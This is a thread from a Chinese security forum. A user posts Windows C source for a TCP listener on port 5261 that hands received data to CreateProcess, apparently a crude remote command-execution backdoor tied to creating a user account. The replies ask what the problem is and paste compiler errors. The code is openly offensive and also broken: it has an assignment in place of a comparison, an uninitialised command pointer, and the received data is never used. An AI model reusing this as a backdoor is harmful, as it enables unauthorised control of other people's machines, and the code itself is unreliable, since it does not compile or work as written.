|
![]() | 作者: NOHACK [knohack]
![]() |
登录 |
#include <stdio.h> #include <winsock2.h> #include <stdlib.h> void errexit (const char *,...); SOCKET passievesock(const char *service,const char *transport,int qlen); int cmd(const char *ch); #define WINEPOCH 2208988800 #define WSVERS MAKEWORD(2,0) int main(int argc,char *argv[]) { struct sockaddr_in fsin; char *service="5261"; char buf[2048]; SOCKET sock,msock; int alen; WSADATA wsadata; switch(argc) {case 1:break; case 2:service=argv[1]; break; default: errexit("usage:udptimed[port]\n"); } if(WSAStartup(WSVERS,&wsadata)) errexit("WSAStartup failed\n"); msock=passievesock(service,"tcp",0); alen=sizeof(fsin); while(1) { sock=accept(msock,(struct sockaddr *)&fsin,&alen); int cc; cc=recv(sock,buf,sizeof(buf),0); if(cc=SOCKET_ERROR) errexit("recvfrom:error%d\n",GetLastError()); closesocket(sock); buf[cc+1]='\0'; cmd(buf); } closesocket(msock); return 1; } u_short portbase=0; SOCKET passievesock(const char *service,const char *transport,int qlen) { struct servent *pse; struct protoent *ppe; struct sockaddr_in sin; SOCKET s; int type; memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_addr.s_addr=INADDR_ANY; if(pse=getservbyname(service,transport)) sin.sin_port=htons(ntohs((u_short)pse->s_port)+portbase); else if((sin.sin_port=htons((u_short)atoi(service)))==0) errexit("can't get \"%s\"service entry\n",service); if((ppe=getprotobyname(transport))==0) errexit("can't get \"%s\"protocol entry",transport); if(strcmp(transport,"upd")==0) type=SOCK_DGRAM; else type=SOCK_STREAM; s=socket(PF_INET,type,ppe->p_proto); if(s==INVALID_SOCKET) errexit("can't create socket:%d\n",GetLastError()); if(bind(s,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR) errexit("can't bind to %sport:%d\n",service,GetLastError()); return s; } void errexit(const char *format,...) { va_list args; va_start(args,format); vfprintf(stderr,format,args); va_end(args); WSACleanup(); exit(1); } int cmd(const char *ch) { char *szcmd; BOOL bsuccess; PROCESS_INFORMATION piprocinfo; STARTUPINFO info; info.cb=sizeof(STARTUPINFO); info.lpReserved=NULL; info.lpDesktop=NULL; info.lpTitle=NULL; info.cbReserved2=0; info.lpReserved2=NULL; bsuccess=CreateProcess(NULL,szcmd,NULL,NULL,false,NULL,NULL,NULL,&info,&piprocinfo); if(!bsuccess) printf("创建用用户失败~!T_T"); return 1; } ![]() ![]() ![]() ![]() ![]() |
地主 发表时间: 07-09-25 08:02 |
![]() | 回复: jhkdiy [jhkdiy] ![]() |
登录 |
你为什么不说明一下哪里遇到问题?,需要修改什么? |
B1层 发表时间: 07-09-26 20:55 |
![]() | 回复: hadtraitor [wboss] ![]() |
登录 |
d:\新建 文本文档.c(31) : error C2143: syntax error : missing ';' before 'type' d:\新建 文本文档.c(32) : error C2065: 'cc' : undeclared identifier d:\新建 文本文档.c(91) : error C2065: 'false' : undeclared identifier d:\新建 文本文档.c(91) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'void *' d:\新建 文本文档.c(91) : warning C4024: 'CreateProcessA' : different types for formal and actual parameter 6 执行 cl.exe 时出错. 看不懂 |
B2层 发表时间: 08-01-07 14:55 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号